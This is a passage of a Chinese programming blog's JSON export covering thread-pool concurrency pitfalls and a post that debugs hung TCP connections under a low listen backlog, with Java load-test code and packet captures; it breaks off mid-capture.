class=\"line\">8</span><br><span class=\"line\">9</span><br><span class=\"line\">10</span><br><span class=\"line\">11</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"keyword\">private</span> <span class=\"keyword\">static</span> Object instance = <span class=\"keyword\">null</span>;</span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"function\"><span class=\"keyword\">public</span> Object <span class=\"title\">getInstance</span><span class=\"params\">()</span> </span>{</span><br><span class=\"line\"> <span class=\"keyword\">if</span> (instance == <span class=\"keyword\">null</span>) {</span><br><span class=\"line\"> <span class=\"keyword\">synchronized</span> (<span class=\"keyword\">this</span>) {</span><br><span class=\"line\"> <span class=\"keyword\">if</span> (instance == <span class=\"keyword\">null</span>)</span><br><span class=\"line\"> instance = <span class=\"keyword\">new</span> Object();</span><br><span class=\"line\"> }</span><br><span class=\"line\"> }</span><br><span class=\"line\"> <span class=\"keyword\">return</span> instance;</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<p>这个写法有个问题，另一个线程可能看到一个<code>instance</code>引用已经被初始化完成，但是对象构造函数还未完成的对象——因为内存重排序，编译器可以先初始化引用再完成构造函数的运行</p>\n</li>\n<li><p>因为不清楚pthread是否也会有这种问题，所以对于获得ThreadPool实例的<code>getInstance</code>方法，每次都要加锁，然后才检查instance指针</p>\n</li>\n</ul>\n<h4 id=\"使用条件变量的注意事项\"><a href=\"#使用条件变量的注意事项\" class=\"headerlink\" title=\"使用条件变量的注意事项\"></a>使用条件变量的注意事项</h4><ul>\n<li><p>wait Condition变量前要检查条件是否满足，否则可能出现：条件以满足，所以生产者不再notify，然后消费者就一直hang在cond wait那里</p>\n</li>\n<li><p>检查条件时要使用<code>while</code>而不是<code>if</code></p>\n<figure class=\"highlight cpp\"><table><tr><td class=\"gutter\"><pre><span class=\"line\">1</span><br><span class=\"line\">2</span><br><span class=\"line\">3</span><br><span class=\"line\">4</span><br><span class=\"line\">5</span><br><span class=\"line\">6</span><br><span class=\"line\">7</span><br><span class=\"line\">8</span><br><span class=\"line\">9</span><br></pre></td><td class=\"code\"><pre><span class=\"line\"><span class=\"comment\">// 正面例子</span></span><br><span class=\"line\"><span class=\"keyword\">while</span> (<span class=\"keyword\">not</span> satify condition) {</span><br><span class=\"line\"> cond.wait()</span><br><span class=\"line\">}</span><br><span class=\"line\"></span><br><span class=\"line\"><span class=\"comment\">// 反面例子</span></span><br><span class=\"line\"><span class=\"keyword\">if</span>(<span class=\"keyword\">not</span> satify condition) {</span><br><span class=\"line\"> cond.wait</span><br><span class=\"line\">}</span><br></pre></td></tr></table></figure>\n<p>一个很重要的原因：某个线程正在等待，然后被唤醒，这时候，突然一个新线程（该线程之前并没有在等待该cond）进来，拿走了资源，结果醒来的线程拿不到资源，所以应该继续等。另外wiki（<a href=\"https://en.wikipedia.org/wiki/Spurious_wakeup\" target=\"_blank\" rel=\"noopener\">Spurious wakeup</a>）上还讲了另一个原因，就是说在现代处理器上，要保证没有假醒需要较高的代价。不过，JCIP（java concurrency in practice）上虽然有打比方说“因为线路故障导致烤面包机提前响起”，但是没有明确说存在这种硬件上导致的假醒</p>\n</li>\n</ul>\n","slug":"construct-a-thread-safe-threadpool","categories":[{"name":"并发编程","slug":"并发编程","permalink":"https://h-zex.github.io/categories/并发编程/"}],"tags":[{"name":"原子性","slug":"原子性","permalink":"https://h-zex.github.io/tags/原子性/"},{"name":"线程安全","slug":"线程安全","permalink":"https://h-zex.github.io/tags/线程安全/"},{"name":"线程池","slug":"线程池","permalink":"https://h-zex.github.io/tags/线程池/"},{"name":"内存可见性","slug":"内存可见性","permalink":"https://h-zex.github.io/tags/内存可见性/"}]},{"title":"高并发情况下backlog过低出现的问题","date":"2019-03-19T13:58:41.000Z","path":"2019/03/19/高并发情况下backlog过低出现的问题/","text":"问题 最近重构一个以前写的FTP Server，压测时，服务器的backlog是20，然后client总是有一些链接，已经new Socket()成功（根据测试，这意味着三次握手完成），但是就是收不到welcome信息，服务端的log看到的accept的链接数目少于client打开的链接数目(服务端的accept也没有报错)，少的数量刚好是client端hang住在读welcome信息那些链接的数目。后来尝试了调整ulimit无果，调整了backlog后就好了。看起来就像是一些链接被悄无声息（没有返回FIN或RST之类的报文）地从 等待被应用accept的队列 移除。 我抽查的十几个hang住的端口对应的报文都是三次握手成功，然后还hang住时是没有新的报文的，client一关闭，发送了FIN后，一种情况是，server端就发送数据给client，另一种情况是server端对client的FIN报文返回RST。 报文如下 第一种情况的报文，这种是client hang住没多久就关掉整个client进程时出现的情况 12345678 117890 271.658989117 127.0.0.1 127.0.0.1 TCP 74 [TCP Port numbers reused] 40900 → 8083 [SYN, ECN, CWR] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298647083 TSecr=0 WS=128 201498 272.673187012 127.0.0.1 127.0.0.1 TCP 74 [TCP Retransmission] 40900 → 8083 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298648097 TSecr=0 WS=128 201591 272.673232077 127.0.0.1 127.0.0.1 TCP 74 8083 → 40900 [SYN, ACK] Seq=0 Ack=1 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298648068 TSecr=298648097 WS=128 201643 272.673288084 127.0.0.1 127.0.0.1 TCP 66 40900 → 8083 [ACK] Seq=1 Ack=1 Win=43776 Len=0 TSval=298648097 TSecr=298648068 203783 297.152188039 127.0.0.1 127.0.0.1 TCP 66 40900 → 8083 [FIN, ACK] Seq=1 Ack=1 Win=43776 Len=0 TSval=298672576 TSecr=298648068 203823 297.152451323 127.0.0.1 127.0.0.1 TCP 73 8083 → 40900 [PSH, ACK] Seq=1 Ack=2 Win=29312 Len=7 TSval=298672576 TSecr=2986725760000 68 65 6c 6c 6f 0d 0a hello.. 203825 297.152464118 127.0.0.1 127.0.0.1 TCP 54 40900 → 8083 [RST] Seq=2 Win=0 Len=0 第二种情况的报文，这种是client hang住很久才关掉整个client进程时出现的情况 123456 21004 108.400081512 127.0.0.1 127.0.0.1 TCP 74 46538 → 8083 [SYN, ECN, CWR] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298483826 TSecr=0 WS=128 92060 109.409186851 127.0.0.1 127.0.0.1 TCP 74 [TCP Retransmission] 46538 → 8083 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298484836 TSecr=0 WS=128 92108 109.409228584 127.0.0.1 127.0.0.1 TCP 74 8083 → 46538 [SYN, ACK] Seq=0 Ack=1 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298484804 TSecr=298484836 WS=128 92155 109.409268850 127.0.0.1 127.0.0.1 TCP 66 46538 → 8083 [ACK] Seq=1 Ack=1 Win=43776 Len=0 TSval=298484836 TSecr=298484804112908 254.340209126 127.0.0.1 127.0.0.1 TCP 66 46538 → 8083 [FIN, ACK] Seq=1 Ack=1 Win=43776 Len=0 TSval=298629764 TSecr=298484804112909 254.340214301 127.0.0.1 127.0.0.1 TCP 54 8083 → 46538 [RST] Seq=1 Win=0 Len=0 复现 server 1234567891011121314151617181920212223242526import java.io.IOException;import java.net.ServerSocket;import java.net.Socket;import java.util.concurrent.Executor;import java.util.concurrent.Executors;public class TestBacklogServer { public static void main(String[] args) throws IOException { Executor executor = Executors.newFixedThreadPool(128); ServerSocket socket = new ServerSocket(8083, 10); int cnt = 0; while (true) { final Socket client = socket.accept(); System.out.println(cnt + \": accept one: \" + client.getRemoteSocketAddress()); cnt++; executor.execute(() -> { try { client.getOutputStream().write(\"hello\\r\\n\".getBytes()); client.close(); } catch (IOException e) { e.printStackTrace(); } }); } }} client。之所以设置了timeout，是为了拿到hang住的端口号，测试时可以不设置timeout，然后在没有新的输出时，threadDump，可以看到有多个链接hang在read那里 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667import java.io.BufferedReader;import java.io.FileReader;import java.io.IOException;import java.io.InputStream;import java.net.ServerSocket;import java.net.Socket;import java.net.SocketTimeoutException;import java.util.HashSet;import java.util.Vector;import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;import java.util.concurrent.TimeUnit;import java.util.concurrent.atomic.LongAdder;import java.util.regex.Matcher;import java.util.regex.Pattern;public class TestBacklogClient { private static final LongAdder adder = new LongAdder(); public static void main(String[] args) throws IOException, InterruptedException { Vector<Integer> timeoutPorts = new Vector<>(1240); ExecutorService pool = Executors.newFixedThreadPool(128); for (int i = 0; i < 10240; i++) { int finalI = i; pool.execute(() -> { try { Socket socket = new Socket(\"localhost\", 8083); socket.setSoTimeout(1024 * 10); System.out.println(\"connect Success one: \" + finalI); String r = readLine(socket.getInputStream()); assert r == null || \"hello\\r\\n\".equals(r); if (r == null) { timeoutPorts.add(socket.getLocalPort()); } System.out.println(\"read success one: \" + finalI); } catch (IOException e) { e.printStackTrace(); } }); } pool.shutdown(); pool.awaitTermination(1024, TimeUnit.DAYS); System.out.println(adder.sum()); System.out.println(timeoutPorts); } private static String readLine(InputStream in) throws IOException { byte[] buf = new byte[1024]; StringBuilder builder = new StringBuilder(); try { while (true) { int t = in.read(buf); if (t < 0) { break; } builder.append(new String(buf, 0, t)); } return builder.toString(); } catch (SocketTimeoutException ex) { adder.add(1); System.out.println(\"time out, read: \" + builder.length() + \", \" + builder.toString() + \", hasCRLF: \" + (builder.lastIndexOf(\"\\r\\n\") >= 0)); } return null; }} localhost的系统配置信息 1234567891011121314151617181920$ uname -r4.18.0-13-generic$ /bin/cat /proc/sys/net/ipv4/tcp_max_syn_backlog512$ lsb_release -aNo LSB modules are available.Distributor ID: UbuntuDescription: Ubuntu 18.10Release: 18.10Codename: cosmic$ java -version openjdk version "11.0.1" 2018-10-16OpenJDK Runtime Environment 18.9 (build 11.0.1+13)OpenJDK 64-Bit Server VM 18.9 (build 11.0.1+13, mixed mode)$ /bin/cat /proc/sys/net/core/somaxconn 128 vps的配置信息 1234567891011121314151617181920root@vultr:~# ./jdk-11.0.2/bin/java -versionjava version "11.0.2" 2019-01-15 LTSJava(TM) SE Runtime Environment 18.9 (build 11.0.2+9-LTS)Java HotSpot(TM) 64-Bit Server VM 18.9 (build 11.0.2+9-LTS, mixed mode)root@vultr:~# uname -r4.18.0-10-genericroot@vultr:~# lsb_release -aNo LSB modules are available.Distributor ID: UbuntuDescription: Ubuntu 18.10Release: 18.10Codename: cosmicroot@vultr:~# /bin/cat /proc/sys/net/ipv4/tcp_max_syn_backlog128root@vultr:~# /bin/cat /proc/sys/net/core/somaxconn128 复现过程出现过这个现象：client端ctrl-c关掉后，server端突然就接收到了剩下的所有链接。这个在server运行在localhost时并且 一旦所有其他没有被hang住的链接完成后马上就ctrl-c时出现过，但是在server运行在vps上没出现过。 猜测原因一 按照TCP/IP详解卷二的说法，如果listen的那个端点的队列满了（已经完成三次握手的队列，其大小由backlog确定），那么就不回复syn。但是，有个问题，如果多个syn同时到达，那么即使这时候队列未满，也可能接受了这些syn的一部分后队列就满了，那么linux系统如何处理——是否会存在有些链接三次握手完成，但是放不进队列里。 按照这篇文章(http://veithen.io/2014/01/01/how-tcp-backlog-works-in-linux.html)的说法，如果遇到这种情况，服务器会不断发送syn/ack报文（如果/proc/sys/net/ipv4/tcp_abort_on_overflow是1，则发送RST） 我自己也抓到了这种报文，其中8083是server，server的backlog只有10，然后有10240个client企图链接该server。 123456789101112131415No. Time Source Destination Protocol Length Info 117974 271.659812650 127.0.0.1 127.0.0.1 TCP 74 [TCP Port numbers reused] 40970 → 8083 [SYN, ECN, CWR] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298647084 TSecr=0 WS=128 117976 271.659818367 127.0.0.1 127.0.0.1 TCP 74 8083 → 40970 [SYN, ACK, ECN] Seq=0 Ack=1 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298647084 TSecr=298647084 WS=128 117977 271.659825016 127.0.0.1 127.0.0.1 TCP 66 40970 → 8083 [ACK] Seq=1 Ack=1 Win=43776 Len=0 TSval=298647084 TSecr=298647084 201482 272.673178662 127.0.0.1 127.0.0.1 TCP 74 [TCP Retransmission] 8083 → 40970 [SYN, ACK, ECN] Seq=0 Ack=1 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298648097 TSecr=298647084 WS=128 201563 272.673220860 127.0.0.1 127.0.0.1 TCP 66 [TCP Dup ACK 117977#1] 40970 → 8083 [ACK] Seq=1 Ack=1 Win=43776 Len=0 TSval=298648097 TSecr=298647084 201993 274.693205982 127.0.0.1 127.0.0.1 TCP 74 [TCP Retransmission] 8083 → 40970 [SYN, ACK, ECN] Seq=0 Ack=1 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298650117 TSecr=298648097 WS=128 201995 274.693247830 127.0.0.1 127.0.0.1 TCP 66 [TCP Dup ACK 117977#2] 40970 → 8083 [ACK] Seq=1 Ack=1 Win=43776 Len=0 TSval=298650117 TSecr=298647084 201997 274.693527487 127.0.0.1 127.0.0.1 TCP 73 8083 → 40970 [PSH, ACK] Seq=1 Ack=1 Win=43776 Len=7 TSval=298650117 TSecr=2986501170000 68 65 6c 6c 6f 0d 0a hello.. 201999 274.693556287 127.0.0.1 127.0.0.1 TCP 66 40970 → 8083 [ACK] Seq=1 Ack=8 Win=43776 Len=0 TSval=298650117 TSecr=298650117 202001 274.695599421 127.0.0.1 127.0.0.1 TCP 66 8083 → 40970 [FIN, ACK] Seq=8 Ack=1 Win=43776 Len=0 TSval=298650119 TSecr=298650117 202009 274.737168658 127.0.0.1 127.0.0.1 TCP 66 40970 → 8083 [ACK] Seq=1 Ack=9 Win=43776 Len=0 TSval=298650161 TSecr=298650119 203731 297.151676910 127.0.0.1 127.0.0.1 TCP 66 40970 → 8083 [FIN, ACK] Seq=1 Ack=9 Win=43776 Len=0 TSval=298672575 TSecr=298650119 203732 297.151682855 127.0.0.1 127.0.0.1 TCP 66 8083 → 40970 [ACK] Seq=9 Ack=2 Win=43776 Len=0 TSval=298672575 TSecr=298672575 在/proc/sys/net/ipv4/tcp_abort_on_overflow设为1之后，抓到了如下报文。需要注意，那个RST并不是服务器关闭了，服务器后面还对其他链接响应了很多报文 1234567No. Time Source Destination Protocol Length Info 5904 9.174057671 127.0.0.1 127.0.0.1 TCP 74 54448 → 8083 [SYN, ECN, CWR] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=300065429 TSecr=0 WS=128 92075 10.190560916 127.0.0.1 127.0.0.1 TCP 74 [TCP Retransmission] 54448 → 8083 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=300066446 TSecr=0 WS=128 92209 12.206628025 127.0.0.1 127.0.0.1 TCP 74 [TCP Retransmission] 54448 → 8083 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=300068462 TSecr=0 WS=128 92258 12.206814283 127.0.0.1 127.0.0.1 TCP 74 8083 → 54448 [SYN, ACK] Seq=0 Ack=1 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=300068462 TSecr=300068462 WS=128 92319 12.207072233 127.0.0.1 127.0.0.1 TCP 66 54448 → 8083 [ACK] Seq=1 Ack=1 Win=43776 Len=0 TSval=300068462 TSecr=300068462 92345 12.207466000 127.0.0.1 127.0.0.1 TCP 54 8083 → 54448 [RST] Seq=1 Win=0 Len=0 需要注意，那个RST并不是服务器关闭了，服务器后面还对其他链接响应了很多报文——如下面所示，最后的那个No.为92345后面还有很多报文，都是8083端口的server与client的通信 123456No. Time Source Destination Protocol Length Info 92345 12.207466000 127.0.0.1 127.0.0.1 TCP 54 8083 → 54448 [RST] Seq=1 Win=0 Len=0 92346 12.207985091 127.0.0.1 127.0.0.1 TCP 73 8083 → 54168 [PSH, ACK] Seq=1 Ack=1 Win=43776 Len=7 TSval=300068463 TSecr=300068462 92347 12.208004676 127.0.0.1 127.0.0.1 TCP 66 54168 → 8083 [ACK] Seq=1 Ack=8 Win=43776 Len=0 TSval=300068463 TSecr=300068463 92348 12.208041224 127.0.0.1 127.0.0.1 TCP 66 8083 → 54168 [FIN, ACK] Seq=8 Ack=1 Win=43776 Len=0 TSval=300068463 TSecr=300068463 92349 12.208052138 127.0.0.1 127.0.0.1 TCP 73 8083 → 54172 [PSH, ACK] Seq=1 Ack=1 Win=43776 Len=7 TSval=300068463 TSecr=300068462 然而，这个并不是上述问题的原因，因为打印出来的hang住的端口号，跟发生重传syn/ack的端口号对不上 猜测原因二 网上搜到这篇文章http://www.10tiao.com/html/749/201411/201005717/1.html 案例分析（二）那里描述的现象刚好跟跟上述问题非常相似——也是client握手成功但是读不到信息，作者分析的原因是，第三次握手的ACK因为AcceptQueue溢出而被丢弃，导致client进入了ESTABLISHED状态，但是server只是在SYN_RECV状态，并且因为net.ipv4.tcp_synack_retries=1(我的测试机器的这个参数是5)，所以如果Server重传的SYN+ACK报文对应的ACK还是被丢弃，那么就会进入client以为连接成功，但是server并没有连接成功的状态 然而，我把server架设到另一个机子上，然后使用watch -n 0.5 "netcat -n | grep 8083 | grep -i "syn""检查server那里是否有链接是一直处于syn_recv状态，但是整个过程中看到的处于SYN_RECV状态的链接端口号都是在不断变动（说明它们不是hang住的链接），并且client端所有没有hang住的链接都完成后，只剩下hang住的链接时，server端是看不到处于syn_recv状态的链接的 所以我认为可能也不是这个原因（欢迎指正！） 结尾 这个问题并没有解决，如果有大佬知道原因，或者有一些想法，欢迎与我交流，谢谢！","raw":"---\ntitle: 高并发情况下backlog过低出现的问题\ndate: 2019-03-19 21:58:41\ntags:\n- 高并发\n- backlog\n- TCP\ncategories:\n- 网络编程\n---\n\n### 问题\n\n- 最近重构一个以前写的FTP Server，压测时，服务器的backlog是20，然后client总是有一些链接，已经`new Socket()`成功（根据测试，这意味着三次握手完成），但是就是收不到welcome信息，服务端的log看到的accept的链接数目少于client打开的链接数目(服务端的accept也没有报错)，少的数量刚好是client端hang住在读welcome信息那些链接的数目。后来尝试了调整`ulimit`无果，调整了backlog后就好了。看起来就像是一些链接被悄无声息（没有返回FIN或RST之类的报文）地从 等待被应用accept的队列 移除。\n- 我抽查的十几个hang住的端口对应的报文都是三次握手成功，然后还hang住时是没有新的报文的，client一关闭，发送了FIN后，一种情况是，server端就发送数据给client，另一种情况是server端对client的FIN报文返回RST。\n- 报文如下\n - 第一种情况的报文，这种是client hang住没多久就关掉整个client进程时出现的情况\n\n ```\n 117890 271.658989117 127.0.0.1 127.0.0.1 TCP 74 [TCP Port numbers reused] 40900 → 8083 [SYN, ECN, CWR] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298647083 TSecr=0 WS=128\n 201498 272.673187012 127.0.0.1 127.0.0.1 TCP 74 [TCP Retransmission] 40900 → 8083 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298648097 TSecr=0 WS=128\n 201591 272.673232077 127.0.0.1 127.0.0.1 TCP 74 8083 → 40900 [SYN, ACK] Seq=0 Ack=1 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298648068 TSecr=298648097 WS=128\n 201643 272.673288084 127.0.0.1 127.0.0.1 TCP 66 40900 → 8083 [ACK] Seq=1 Ack=1 Win=43776 Len=0 TSval=298648097 TSecr=298648068\n 203783 297.152188039 127.0.0.1 127.0.0.1 TCP 66 40900 → 8083 [FIN, ACK] Seq=1 Ack=1 Win=43776 Len=0 TSval=298672576 TSecr=298648068\n 203823 297.152451323 127.0.0.1 127.0.0.1 TCP 73 8083 → 40900 [PSH, ACK] Seq=1 Ack=2 Win=29312 Len=7 TSval=298672576 TSecr=298672576\n 0000 68 65 6c 6c 6f 0d 0a hello..\n 203825 297.152464118 127.0.0.1 127.0.0.1 TCP 54 40900 → 8083 [RST] Seq=2 Win=0 Len=0\n ```\n\n - 第二种情况的报文，这种是client hang住很久才关掉整个client进程时出现的情况\n\n ```\n 21004 108.400081512 127.0.0.1 127.0.0.1 TCP 74 46538 → 8083 [SYN, ECN, CWR] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298483826 TSecr=0 WS=128\n 92060 109.409186851 127.0.0.1 127.0.0.1 TCP 74 [TCP Retransmission] 46538 → 8083 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298484836 TSecr=0 WS=128\n 92108 109.409228584 127.0.0.1 127.0.0.1 TCP 74 8083 → 46538 [SYN, ACK] Seq=0 Ack=1 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298484804 TSecr=298484836 WS=128\n 92155 109.409268850 127.0.0.1 127.0.0.1 TCP 66 46538 → 8083 [ACK] Seq=1 Ack=1 Win=43776 Len=0 TSval=298484836 TSecr=298484804\n 112908 254.340209126 127.0.0.1 127.0.0.1 TCP 66 46538 → 8083 [FIN, ACK] Seq=1 Ack=1 Win=43776 Len=0 TSval=298629764 TSecr=298484804\n 112909 254.340214301 127.0.0.1 127.0.0.1 TCP 54 8083 → 46538 [RST] Seq=1 Win=0 Len=0\n ```\n\n\n### 复现\n\n- server\n ```java\n import java.io.IOException;\n import java.net.ServerSocket;\n import java.net.Socket;\n import java.util.concurrent.Executor;\n import java.util.concurrent.Executors;\n \n public class TestBacklogServer {\n public static void main(String[] args) throws IOException {\n Executor executor = Executors.newFixedThreadPool(128);\n ServerSocket socket = new ServerSocket(8083, 10);\n int cnt = 0;\n while (true) {\n final Socket client = socket.accept();\n System.out.println(cnt + \": accept one: \" + client.getRemoteSocketAddress());\n cnt++;\n executor.execute(() -> {\n try {\n client.getOutputStream().write(\"hello\\r\\n\".getBytes());\n client.close();\n } catch (IOException e) {\n e.printStackTrace();\n }\n });\n }\n }\n }\n ```\n- client。之所以设置了timeout，是为了拿到hang住的端口号，测试时可以不设置timeout，然后在没有新的输出时，threadDump，可以看到有多个链接hang在read那里\n ```java\n import java.io.BufferedReader;\n import java.io.FileReader;\n import java.io.IOException;\n import java.io.InputStream;\n import java.net.ServerSocket;\n import java.net.Socket;\n import java.net.SocketTimeoutException;\n import java.util.HashSet;\n import java.util.Vector;\n import java.util.concurrent.ExecutorService;\n import java.util.concurrent.Executors;\n import java.util.concurrent.TimeUnit;\n import java.util.concurrent.atomic.LongAdder;\n import java.util.regex.Matcher;\n import java.util.regex.Pattern;\n \n public class TestBacklogClient {\n private static final LongAdder adder = new LongAdder();\n \n public static void main(String[] args) throws IOException, InterruptedException {\n Vector<Integer> timeoutPorts = new Vector<>(1240);\n ExecutorService pool = Executors.newFixedThreadPool(128);\n for (int i = 0; i < 10240; i++) {\n int finalI = i;\n pool.execute(() -> {\n try {\n Socket socket = new Socket(\"localhost\", 8083);\n socket.setSoTimeout(1024 * 10);\n System.out.println(\"connect Success one: \" + finalI);\n String r = readLine(socket.getInputStream());\n assert r == null || \"hello\\r\\n\".equals(r);\n if (r == null) {\n timeoutPorts.add(socket.getLocalPort());\n }\n System.out.println(\"read success one: \" + finalI);\n } catch (IOException e) {\n e.printStackTrace();\n }\n });\n }\n pool.shutdown();\n pool.awaitTermination(1024, TimeUnit.DAYS);\n System.out.println(adder.sum());\n System.out.println(timeoutPorts);\n }\n \n private static String readLine(InputStream in) throws IOException {\n byte[] buf = new byte[1024];\n StringBuilder builder = new StringBuilder();\n try {\n while (true) {\n int t = in.read(buf);\n if (t < 0) {\n break;\n }\n builder.append(new String(buf, 0, t));\n }\n return builder.toString();\n } catch (SocketTimeoutException ex) {\n adder.add(1);\n System.out.println(\"time out, read: \" + builder.length()\n + \", \" + builder.toString()\n + \", hasCRLF: \" + (builder.lastIndexOf(\"\\r\\n\") >= 0));\n }\n return null;\n }\n }\n ```\n\n- localhost的系统配置信息\n ```\n $ uname -r\n 4.18.0-13-generic\n \n $ /bin/cat /proc/sys/net/ipv4/tcp_max_syn_backlog\n 512\n \n $ lsb_release -a\n No LSB modules are available.\n Distributor ID:\tUbuntu\n Description:\tUbuntu 18.10\n Release:\t18.10\n Codename:\tcosmic\n\n $ java -version \n openjdk version \"11.0.1\" 2018-10-16\n OpenJDK Runtime Environment 18.9 (build 11.0.1+13)\n OpenJDK 64-Bit Server VM 18.9 (build 11.0.1+13, mixed mode)\n\n $ /bin/cat /proc/sys/net/core/somaxconn \n 128\n ```\n- vps的配置信息\n ```\n root@vultr:~# ./jdk-11.0.2/bin/java -version\n java version \"11.0.2\" 2019-01-15 LTS\n Java(TM) SE Runtime Environment 18.9 (build 11.0.2+9-LTS)\n Java HotSpot(TM) 64-Bit Server VM 18.9 (build 11.0.2+9-LTS, mixed mode)\n \n root@vultr:~# uname -r\n 4.18.0-10-generic\n \n root@vultr:~# lsb_release -a\n No LSB modules are available.\n Distributor ID: Ubuntu\n Description: Ubuntu 18.10\n Release: 18.10\n Codename: cosmic\n \n root@vultr:~# /bin/cat /proc/sys/net/ipv4/tcp_max_syn_backlog\n 128\n \n root@vultr:~# /bin/cat /proc/sys/net/core/somaxconn\n 128\n ```\n- 复现过程出现过这个现象：client端`ctrl-c`关掉后，server端突然就接收到了剩下的所有链接。这个在server运行在localhost时并且 一旦所有其他没有被hang住的链接完成后马上就`ctrl-c`时出现过，但是在server运行在vps上没出现过。\n\n\n### 猜测原因一\n\n- 按照TCP/IP详解卷二的说法，如果listen的那个端点的队列满了（已经完成三次握手的队列，其大小由backlog确定），那么就不回复syn。但是，有个问题，如果多个syn同时到达，那么即使这时候队列未满，也可能接受了这些syn的一部分后队列就满了，那么linux系统如何处理——是否会存在有些链接三次握手完成，但是放不进队列里。\n\n- 按照这篇文章([http://veithen.io/2014/01/01/how-tcp-backlog-works-in-linux.html](http://veithen.io/2014/01/01/how-tcp-backlog-works-in-linux.html))的说法，如果遇到这种情况，服务器会不断发送`syn/ack`报文（如果`/proc/sys/net/ipv4/tcp_abort_on_overflow`是`1`，则发送RST）\n\n- 我自己也抓到了这种报文，其中8083是server，server的backlog只有10，然后有10240个client企图链接该server。\n ```\n No. Time Source Destination Protocol Length Info\n 117974 271.659812650 127.0.0.1 127.0.0.1 TCP 74 [TCP Port numbers reused] 40970 → 8083 [SYN, ECN, CWR] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298647084 TSecr=0 WS=128\n 117976 271.659818367 127.0.0.1 127.0.0.1 TCP 74 8083 → 40970 [SYN, ACK, ECN] Seq=0 Ack=1 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298647084 TSecr=298647084 WS=128\n 117977 271.659825016 127.0.0.1 127.0.0.1 TCP 66 40970 → 8083 [ACK] Seq=1 Ack=1 Win=43776 Len=0 TSval=298647084 TSecr=298647084\n 201482 272.673178662 127.0.0.1 127.0.0.1 TCP 74 [TCP Retransmission] 8083 → 40970 [SYN, ACK, ECN] Seq=0 Ack=1 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298648097 TSecr=298647084 WS=128\n 201563 272.673220860 127.0.0.1 127.0.0.1 TCP 66 [TCP Dup ACK 117977#1] 40970 → 8083 [ACK] Seq=1 Ack=1 Win=43776 Len=0 TSval=298648097 TSecr=298647084\n 201993 274.693205982 127.0.0.1 127.0.0.1 TCP 74 [TCP Retransmission] 8083 → 40970 [SYN, ACK, ECN] Seq=0 Ack=1 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=298650117 TSecr=298648097 WS=128\n 201995 274.693247830 127.0.0.1 127.0.0.1 TCP 66 [TCP Dup ACK 117977#2] 40970 → 8083 [ACK] Seq=1 Ack=1 Win=43776 Len=0 TSval=298650117 TSecr=298647084\n 201997 274.693527487 127.0.0.1 127.0.0.1 TCP 73 8083 → 40970 [PSH, ACK] Seq=1 Ack=1 Win=43776 Len=7 TSval=298650117 TSecr=298650117\n 0000 68 65 6c 6c 6f 0d 0a hello..\n 201999 274.693556287 127.0.0.1 127.0.0.1 TCP 66 40970 → 8083 [ACK] Seq=1 Ack=8 Win=43776 Len=0 TSval=298650117 TSecr=298650117\n 202001 274.695599421 127.0.0.1 127.0.0.1 TCP 66 8083 → 40970 [FIN, ACK] Seq=8 Ack=1 Win=43776 Len=0 TSval=298650119 TSecr=298650117\n 202009 274.737168658 127.0.0.1 127.0.0.1 TCP 66 40970 → 8083 [ACK] Seq=1 Ack=9 Win=43776 Len=0 TSval=298650161 TSecr=298650119\n 203731 297.151676910 127.0.0.1 127.0.0.1 TCP 66 40970 → 8083 [FIN, ACK] Seq=1 Ack=9 Win=43776 Len=0 TSval=298672575 TSecr=298650119\n 203732 297.151682855 127.0.0.1 127.0.0.1 TCP 66 8083 → 40970 [ACK] Seq=9 Ack=2 Win=43776 Len=0 TSval=298672575 TSecr=298672575\n ```\n 在`/proc/sys/net/ipv4/tcp_abort_on_overflow`设为`1`之后，抓到了如下报文。需要注意，那个RST并不是服务器关闭了，服务器后面还对其他链接响应了很多报文\n ```\n No. Time Source Destination Protocol Length Info\n 5904 9.174057671 127.0.0.1 127.0.0.1 TCP 74 54448 → 8083 [SYN, ECN, CWR] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=300065429 TSecr=0 WS=128\n 92075 10.190560916 127.0.0.1 127.0.0.1 TCP 74 [TCP Retransmission] 54448 → 8083 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=300066446 TSecr=0 WS=128\n 92209 12.206628025 127.0.0.1 127.0.0.1 TCP 74 [TCP Retransmission] 54448 → 8083 [SYN] Seq=0 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=300068462 TSecr=0 WS=128\n 92258 12.206814283 127.0.0.1 127.0.0.1 TCP 74 8083 → 54448 [SYN, ACK] Seq=0 Ack=1 Win=43690 Len=0 MSS=65495 SACK_PERM=1 TSval=300068462 TSecr=300068462 WS=128\n 92319 12.207072233 127.0.0.1 127.0.0.1 TCP 66 54448 → 8083 